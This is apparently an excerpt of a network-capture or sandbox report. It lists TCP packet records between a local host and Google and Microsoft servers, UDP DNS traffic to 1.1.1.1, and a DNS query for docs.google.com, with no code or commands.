Jul 25, 2024 21:55:49.209935904 CEST	443	49947	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.210025072 CEST	49947	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.210623026 CEST	49947	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.210634947 CEST	443	49947	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.210890055 CEST	49947	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.210896015 CEST	443	49947	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.305172920 CEST	443	49946	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.305247068 CEST	49946	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.305262089 CEST	443	49946	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.305617094 CEST	49946	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.305716038 CEST	49946	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.305794954 CEST	443	49946	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.305995941 CEST	49946	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.306407928 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.306442022 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.306515932 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.306596994 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.306631088 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.306708097 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.307329893 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.307343960 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.307616949 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.307625055 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.526448011 CEST	443	49947	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.526686907 CEST	443	49947	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.526777029 CEST	49947	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.528326988 CEST	49947	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.528346062 CEST	443	49947	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.529002905 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.529067039 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.529201031 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.535378933 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.535413027 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.573159933 CEST	443	49948	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.573241949 CEST	49948	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.573273897 CEST	443	49948	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.573328972 CEST	49948	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.573613882 CEST	443	49948	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.573735952 CEST	443	49948	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.573806047 CEST	49948	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.573987961 CEST	49948	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.574007034 CEST	443	49948	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.574455023 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.574486017 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.574908972 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.575130939 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.575143099 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.970973015 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.971115112 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.971725941 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.971735001 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.973367929 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.973495007 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.973506927 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:49.973511934 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:49.974267960 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.974387884 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.976172924 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.976181030 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.976470947 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:49.976572037 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:49.976926088 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.020505905 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.204082012 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.205017090 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.205430031 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.205435991 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.205591917 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.205595970 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.232193947 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.232358932 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.233019114 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.233086109 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.234563112 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.234590054 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.235127926 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.239101887 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.244841099 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.292506933 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.363845110 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.363918066 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.363933086 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.363982916 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.364208937 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.364253998 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.364413023 CEST	443	49951	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.364442110 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.364505053 CEST	49951	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.364820004 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.364856958 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.364983082 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.365185022 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.365200996 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.400995016 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.401051044 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.401053905 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.401062965 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.401103973 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.401113033 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.401151896 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.401983023 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.402008057 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.402035952 CEST	443	49950	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.402045965 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.402079105 CEST	49950	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.402504921 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.402534962 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.402623892 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.402945995 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.402966976 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.553946972 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.554001093 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.554085970 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.554107904 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.554153919 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.554807901 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.554857016 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.554867029 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.554914951 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.557184935 CEST	49953	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.557199955 CEST	443	49953	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.625197887 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.625287056 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.625319958 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.625368118 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.625461102 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.625515938 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.625679016 CEST	443	49952	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.625734091 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.625751019 CEST	49952	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.626082897 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.626102924 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.626107931 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.626140118 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:50.626174927 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.626276970 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.626454115 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:50.626455069 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:50.626466990 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:50.626466990 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.066961050 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.067095995 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.067738056 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.067785025 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.071151018 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.071165085 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.071425915 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.075371027 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.075845957 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.113713980 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.113883018 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.114298105 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.114308119 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.114550114 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.114561081 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.120503902 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.327590942 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.328061104 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.328507900 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.328514099 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.328679085 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.328684092 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.328911066 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.328978062 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.329693079 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.329751968 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.331299067 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.331305981 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.331547976 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.333842993 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.334252119 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.380498886 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.497705936 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.497781038 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.497869015 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.497908115 CEST	443	49954	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.497958899 CEST	49954	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.498563051 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.498598099 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.498677015 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.498971939 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.498984098 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.695962906 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.696070910 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.696151018 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.696171045 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.696177959 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.697050095 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.697419882 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.697521925 CEST	443	49955	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.697626114 CEST	49955	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.697870016 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.697918892 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.698000908 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.698285103 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.698307037 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.731292963 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.731779099 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.731797934 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.731865883 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.732320070 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.732358932 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:51.732378006 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.732397079 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:51.763264894 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.763345003 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.763489008 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.763514042 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.763808012 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.768796921 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.768847942 CEST	443	49959	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:51.768855095 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:51.768893957 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:55:52.302131891 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:55:52.302190065 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:55:52.364305973 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:55:52.364391088 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:02.400227070 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:02.400255919 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:02.400341988 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:02.400367022 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:02.400494099 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:02.400509119 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:02.400799036 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:02.400810957 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:02.401065111 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:02.401077986 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.084074020 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.084290981 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.085839033 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.085854053 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.086155891 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.090214014 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.126939058 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.127085924 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.128370047 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.128381014 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.128649950 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.132498026 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.132808924 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.176506996 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.198602915 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.198626995 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.198683977 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.198724985 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.198769093 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.199723959 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.199743032 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.199754000 CEST	49962	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.199759960 CEST	443	49962	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.338198900 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.338227987 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.338269949 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.338325977 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.338351011 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.338387012 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.338731050 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.338749886 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:03.338764906 CEST	49963	443	192.168.2.8	13.107.246.60
Jul 25, 2024 21:56:03.338771105 CEST	443	49963	13.107.246.60	192.168.2.8
Jul 25, 2024 21:56:07.112386942 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.112411976 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.112818956 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.112827063 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.113466024 CEST	49958	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.113493919 CEST	443	49958	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.116077900 CEST	49967	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.116106987 CEST	443	49967	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.116182089 CEST	49967	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.126318932 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.126343012 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.126436949 CEST	49967	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.126456022 CEST	443	49967	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.127367973 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.127523899 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.135194063 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.176503897 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.476268053 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.477549076 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.477577925 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.478254080 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.478322029 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.478394985 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.478410959 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.478425026 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.478456020 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.478481054 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.478487968 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.478640079 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.478687048 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.478751898 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.478765011 CEST	443	49960	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.478804111 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:07.483480930 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.483536959 CEST	443	49961	142.250.186.129	192.168.2.8
Jul 25, 2024 21:56:07.483578920 CEST	49961	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:07.834831953 CEST	443	49967	142.250.186.110	192.168.2.8
Jul 25, 2024 21:56:07.835025072 CEST	49967	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:15.134851933 CEST	49714	80	192.168.2.8	69.42.215.252
Jul 25, 2024 21:56:15.137618065 CEST	49967	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:15.137739897 CEST	49960	443	192.168.2.8	142.250.186.110
Jul 25, 2024 21:56:15.137813091 CEST	49959	443	192.168.2.8	142.250.186.129
Jul 25, 2024 21:56:15.137846947 CEST	49961	443	192.168.2.8	142.250.186.129

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 25, 2024 21:54:57.600016117 CEST	56974	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:54:57.606829882 CEST	53	56974	1.1.1.1	192.168.2.8
Jul 25, 2024 21:54:58.413059950 CEST	58631	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:54:58.421881914 CEST	53	58631	1.1.1.1	192.168.2.8
Jul 25, 2024 21:54:58.426711082 CEST	51648	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:54:58.435584068 CEST	53	51648	1.1.1.1	192.168.2.8
Jul 25, 2024 21:54:58.748250961 CEST	65002	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:54:58.756515980 CEST	53	65002	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:04.750432014 CEST	55208	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:04.922765017 CEST	53	55208	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:09.437673092 CEST	50297	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:09.446784019 CEST	53	50297	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:15.156663895 CEST	63495	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:15.164640903 CEST	53	63495	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:19.672087908 CEST	53597	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:19.689588070 CEST	53	53597	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:25.374954939 CEST	59285	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:25.384092093 CEST	53	59285	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:32.219096899 CEST	49913	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:32.229029894 CEST	53	49913	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:36.750696898 CEST	55490	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:36.783827066 CEST	53	55490	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:42.453212976 CEST	57617	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:42.492340088 CEST	53	57617	1.1.1.1	192.168.2.8
Jul 25, 2024 21:55:49.281203032 CEST	55288	53	192.168.2.8	1.1.1.1
Jul 25, 2024 21:55:49.295368910 CEST	53	55288	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 25, 2024 21:54:57.600016117 CEST	192.168.2.8	1.1.1.1	0x2bbc	Standard query (0)	docs.google.com	A (IP address)	IN (0x0001)	false
